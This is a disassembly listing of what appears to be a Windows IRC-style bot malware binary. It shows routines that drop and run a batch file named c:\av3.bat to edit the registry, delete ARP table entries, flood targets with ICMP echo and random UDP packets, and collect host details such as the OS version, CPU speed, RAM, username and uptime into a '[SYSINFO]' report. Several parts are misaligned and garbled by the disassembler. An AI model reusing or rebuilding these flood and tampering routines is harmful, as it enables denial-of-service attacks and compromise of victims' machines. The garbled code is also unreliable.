		mov	[ebp-28h], si
		call	near ptr 3D0000h
		dec	esp
		push	eax
		call	near ptr 3D0000h
		sbb	eax, 0FEA4858Dh
; ---------------------------------------------------------------------------
byte_4071E5	db 2 dup(0FFh),	50h	; CODE XREF: seg000:0040718Cj
		dd 0C07C15FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h, 8068FFh
		dd 0E8500000h, 0FFFC8DFCh, 0A4858D1Dh, 50FFFFFEh, 0FDA0858Dh
		dd 8D50FFFFh, 0FFF89C85h, 105868FFh, 0E8500042h, 92E7h
		dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 0C5E850FFh
		dd 0D3FFFC8Dh, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
		dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 0FFFC8DA4h
		db 0D3h
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: seg000:0040714Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407261	proc near		; CODE XREF: sub_4089FD+11Cp

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_410BE0
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCAv3_bat ; "c:\\av3.bat"
		push	eax
		movsb
		call	sub_41050B
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41C078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short near ptr loc_40731A+1
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0D60004h
		push	eax
		push	edi
		call	ds:dword_41C070	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 0D80004h


loc_40731A:				; CODE XREF: sub_407261+55j
		lock pop edi
		pop	esi
		leave
		retn
sub_407261	endp


; =============== S U B	R O U T	I N E =======================================



sub_40731F	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4307D0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_407347
		push	[esp+arg_0]
		call	ds:dword_430814	; gethostbyname
		test	eax, eax
		jnz	short loc_407340
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_407340:				; CODE XREF: sub_40731F+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_407347:				; CODE XREF: sub_40731F+Dj
		retn
sub_40731F	endp


; =============== S U B	R O U T	I N E =======================================



sub_407348	proc near		; CODE XREF: sub_4090B0+D6p
		mov	ecx, ds:dword_4306CC
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_407356
		call	ecx	; DnsFlushResolverCache

locret_407356:				; CODE XREF: sub_407348+Aj
		retn
sub_407348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407357	proc near		; CODE XREF: seg000:loc_40D9D5p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_43080C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40741D
		sub	ecx, 32h
		jz	loc_407416
		sub	ecx, 48h
		jz	short loc_4073B7
		sub	ecx, 6Eh
		jz	short loc_4073B0


loc_407399:				; CODE XREF: sub_407357+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_422894
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		jmp	short loc_4073F7
; ---------------------------------------------------------------------------


loc_4073B0:				; CODE XREF: sub_407357+40j
		push	offset unk_42285C
		jmp	short loc_4073E9
; ---------------------------------------------------------------------------


loc_4073B7:				; CODE XREF: sub_407357+3Bj
		push	[ebp+var_8]
		call	sub_410C0F
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_410590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_4073E4
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43080C	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40741D
		jmp	short loc_407399
; ---------------------------------------------------------------------------


loc_4073E4:				; CODE XREF: sub_407357+79j
		push	offset unk_422818


loc_4073E9:				; CODE XREF: sub_407357+5Ej
					; sub_407357+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_4073F7:				; CODE XREF: sub_407357+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_407E0E
		pop	ecx


loc_407407:				; CODE XREF: sub_407357+C8j
					; sub_407357+DCj
		push	esi
		call	sub_410C83
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407416:				; CODE XREF: sub_407357+32j
		push	offset unk_4227D4
		jmp	short loc_4073E9
; ---------------------------------------------------------------------------


loc_40741D:				; CODE XREF: sub_407357+29j
					; sub_407357+89j
		cmp	[esi], edi
		jbe	short loc_407407
		lea	ebx, [esi+4]


loc_407424:				; CODE XREF: sub_407357+DAj
		push	ebx
		call	ds:dword_430808	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_407424
		jmp	short loc_407407
sub_407357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407435	proc near		; CODE XREF: seg000:00401E3Ep
					; sub_402B8D+4Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43073C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_430AC4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41050B
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_407435	endp


; =============== S U B	R O U T	I N E =======================================



sub_40748E	proc near		; CODE XREF: seg000:00401A92p
					; seg000:00401AD8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_4074B7
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_4074AA:				; CODE XREF: sub_40748E+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_4074AA
		pop	edi
		jmp	short loc_4074BB
; ---------------------------------------------------------------------------


loc_4074B7:				; CODE XREF: sub_40748E+Aj
		mov	edx, [esp+4+arg_0]


loc_4074BB:				; CODE XREF: sub_40748E+27j
		test	esi, esi
		pop	esi
		jz	short loc_4074C5
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_4074C5:				; CODE XREF: sub_40748E+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40748E	endp

; ---------------------------------------------------------------------------


loc_4074DB:				; DATA XREF: seg000:0040B824o
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_410BE0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_430728	; IcmpCreateFile
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_4307D0	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407536
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_430814	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40753C


loc_407536:				; CODE XREF: seg000:00407523j
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short near ptr loc_407598+1


loc_40753C:				; CODE XREF: seg000:00407534j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_422918
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40757C
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_40E367
		add	esp, 14h


loc_40757C:				; CODE XREF: seg000:0040755Aj
		lea	eax, [ebp-344h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-30h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_407598:				; CODE XREF: seg000:0040753Aj
		adc	bh, [ebx]
		retn
; ---------------------------------------------------------------------------
		jz	short loc_4075A9
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	short loc_4075AC
; ---------------------------------------------------------------------------


loc_4075A9:				; CODE XREF: seg000:0040759Bj
		mov	[ebp-4], esi


loc_4075AC:				; CODE XREF: seg000:004075A7j
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_410590
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_4075CC
		mov	[ebp-3Ch], eax


loc_4075CC:				; CODE XREF: seg000:004075C7j
		cmp	[ebp-38h], edi
		jge	short loc_4075D4
		mov	[ebp-38h], edi


loc_4075D4:				; CODE XREF: seg000:004075CFj
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_407601


loc_4075DB:				; CODE XREF: seg000:004075FFj
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_4306C8	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_4075DB


loc_407601:				; CODE XREF: seg000:004075D9j
		push	dword ptr [ebp+8]
		call	ds:dword_430848	; IcmpCloseHandle
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4228D8
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40764A
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_40E367
		add	esp, 14h


loc_40764A:				; CODE XREF: seg000:00407628j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-30h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		stosd


loc_407667:				; DATA XREF: seg000:0040B96Eo
		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_410BE0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_430810	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp-0B0h]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_4307D0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jnz	short near ptr loc_40774B+1
		lea	eax, [ebp-0B0h]
		push	eax
		call	ds:dword_430814	; gethostbyname
		cmp	eax, edi
		jnz	short near ptr loc_407744+1
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_422994
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_407728
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40E367
		add	esp, 14h


loc_407728:				; CODE XREF: seg000:00407706j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-20h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_407744:				; CODE XREF: seg000:004076E6j
		mov	al, 8Bh
		inc	eax
		or	al, 8Bh
		add	bl, ch


loc_40774B:				; CODE XREF: seg000:004076D5j
		add	ecx, [ebp+8B0845h]
		cmp	[ebp-24h], edi
		mov	[ebp-0Ch], eax
		jnz	short loc_40776A
		call	sub_410567
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40776D
; ---------------------------------------------------------------------------


loc_40776A:				; CODE XREF: seg000:00407757j
		push	dword ptr [ebp-24h]


loc_40776D:				; CODE XREF: seg000:00407768j
		call	ds:dword_430794	; ntohs
		cmp	[ebp-24h], esi
		mov	[ebp-0Eh], ax
		jge	short loc_40777F
		mov	[ebp-24h], esi


loc_40777F:				; CODE XREF: seg000:0040777Aj
		mov	eax, 0FFFFh
		cmp	[ebp-24h], eax
		jle	short loc_40778C
		mov	[ebp-24h], eax


loc_40778C:				; CODE XREF: seg000:00407787j
		mov	eax, [ebp-30h]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp-28h], edi
		mov	[ebp-30h], eax
		jnz	short loc_4077A0
		mov	[ebp-28h], esi


loc_4077A0:				; CODE XREF: seg000:0040779Bj
		xor	esi, esi
		cmp	[ebp-2Ch], edi
		jle	short loc_4077C1


loc_4077A7:				; CODE XREF: seg000:004077BFj
		call	sub_410567
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp-2Ch]
		mov	[ebp+esi-10311h], dl
		jl	short loc_4077A7


loc_4077C1:				; CODE XREF: seg000:004077A5j
					; seg000:00407803j ...
		mov	eax, [ebp-30h]
		dec	dword ptr [ebp-30h]
		test	eax, eax
		jle	short loc_407820
		push	0Bh
		pop	esi


loc_4077CE:				; CODE XREF: seg000:004077FEj
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	sub_410567
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp-2Ch]
		sub	eax, edx
		push	eax
		lea	eax, [ebp-10310h]
		push	eax
		push	ebx
		call	ds:dword_4307F4	; sendto
		push	dword ptr [ebp-28h]
		call	ds:dword_41C058	; Sleep
		dec	esi
		jnz	short loc_4077CE
		cmp	[ebp-24h], edi
		jnz	short loc_4077C1
		call	sub_410567
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_430794	; ntohs
		mov	[ebp-0Eh], ax
		jmp	short loc_4077C1
; ---------------------------------------------------------------------------


loc_407820:				; CODE XREF: seg000:004077C9j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_422954
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_407860
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40E367
		add	esp, 14h


loc_407860:				; CODE XREF: seg000:0040783Ej
		lea	eax, [ebp-334h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-20h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		stc

; =============== S U B	R O U T	I N E =======================================



sub_40787D	proc near		; CODE XREF: sub_404EB9+74p
					; sub_40799C+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_430AD8
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_410A8A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40787D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078E6	proc near		; CODE XREF: sub_40799C+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4078EE:				; CODE XREF: sub_4078E6+2Fj
					; sub_4078E6+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_41C058	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_412180
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4078EE
		jb	short loc_40791D
		cmp	ebx, esi
		ja	short loc_4078EE


loc_40791D:				; CODE XREF: sub_4078E6+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_412100
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_407990
		jb	short loc_40793C
		cmp	esi, 50h
		jnb	short loc_407941


loc_40793C:				; CODE XREF: sub_4078E6+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_407941:				; CODE XREF: sub_4078E6+54j
		test	ecx, ecx
		ja	short loc_407990
		jb	short loc_40794C
		cmp	esi, 47h
		jnb	short loc_407951


loc_40794C:				; CODE XREF: sub_4078E6+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_407951:				; CODE XREF: sub_4078E6+64j
		test	ecx, ecx
		ja	short loc_407990
		jb	short loc_40795C
		cmp	esi, 37h
		jnb	short loc_407961


loc_40795C:				; CODE XREF: sub_4078E6+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_407961:				; CODE XREF: sub_4078E6+74j
		test	ecx, ecx
		ja	short loc_407990
		jb	short loc_40796C
		cmp	esi, 26h
		jnb	short loc_407971


loc_40796C:				; CODE XREF: sub_4078E6+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_407971:				; CODE XREF: sub_4078E6+84j
		test	ecx, ecx
		ja	short loc_407990
		jb	short loc_40797C
		cmp	esi, 1Eh
		jnb	short loc_407981


loc_40797C:				; CODE XREF: sub_4078E6+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_407981:				; CODE XREF: sub_4078E6+94j
		test	ecx, ecx
		ja	short loc_407990
		jb	short loc_40798C
		cmp	esi, 0Ah
		jnb	short loc_407990


loc_40798C:				; CODE XREF: sub_4078E6+9Fj
		xor	eax, eax
		xor	edx, edx


loc_407990:				; CODE XREF: sub_4078E6+4Dj
					; sub_4078E6+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40799C	proc near		; CODE XREF: seg000:0040DC69p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_42F3E8
		mov	[ebp+var_CC], 94h
		call	ds:dword_41C0EC	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_407A23
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4079FF
		cmp	[ebp+var_BC], 1
		jnz	short loc_4079E9
		mov	[ebp+var_4], offset a95	; "95"


loc_4079E9:				; CODE XREF: sub_40799C+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_407A9E
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_407A6F
; ---------------------------------------------------------------------------


loc_4079FF:				; CODE XREF: sub_40799C+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_407A11
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_407A66
; ---------------------------------------------------------------------------


loc_407A11:				; CODE XREF: sub_40799C+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_407A5F
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_407A66
; ---------------------------------------------------------------------------


loc_407A23:				; CODE XREF: sub_40799C+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_407A5F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_407A3D
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_407A66
; ---------------------------------------------------------------------------


loc_407A3D:				; CODE XREF: sub_40799C+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_407A4F
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_407A66
; ---------------------------------------------------------------------------


loc_407A4F:				; CODE XREF: sub_40799C+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_407A66


loc_407A5F:				; CODE XREF: sub_40799C+7Cj
					; sub_40799C+8Ej
		mov	[ebp+var_4], offset dword_422AE4


loc_407A66:				; CODE XREF: sub_40799C+73j
					; sub_40799C+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_407A9E


loc_407A6F:				; CODE XREF: sub_40799C+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_407A9E
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_422ADC
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_407A9E:				; CODE XREF: sub_40799C+54j
					; sub_40799C+D1j ...
		mov	ax, ds:word_422AD8
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_430690
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_407AD7
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_407AD7:				; CODE XREF: sub_40799C+12Cj
		push	[ebp+arg_4]
		call	sub_407435
		pop	ecx
		push	eax
		call	ds:dword_4307D0	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_430750	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_407B00
		push	dword ptr [eax]
		jmp	short loc_407B05
; ---------------------------------------------------------------------------


loc_407B00:				; CODE XREF: sub_40799C+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_407B05:				; CODE XREF: sub_40799C+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41050B
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 3D0000h
		xchg	eax, edx
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 3D0000h
		insd
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 3D0000h
		fldcw	word ptr [edx+20h]
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 3D0000h
		loope	near ptr loc_407BC3+2
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4121E8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40878B
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40787D
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax


loc_407BC3:				; CODE XREF: sub_40799C+1D4j
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_407435
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40867B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40867B
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4078E6
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_410A8A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40799C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C50	proc near		; CODE XREF: seg000:0040CE6Fp
					; seg000:0040DC97p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		cmp	ds:dword_430878, 0
		jnz	short loc_407CC4
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
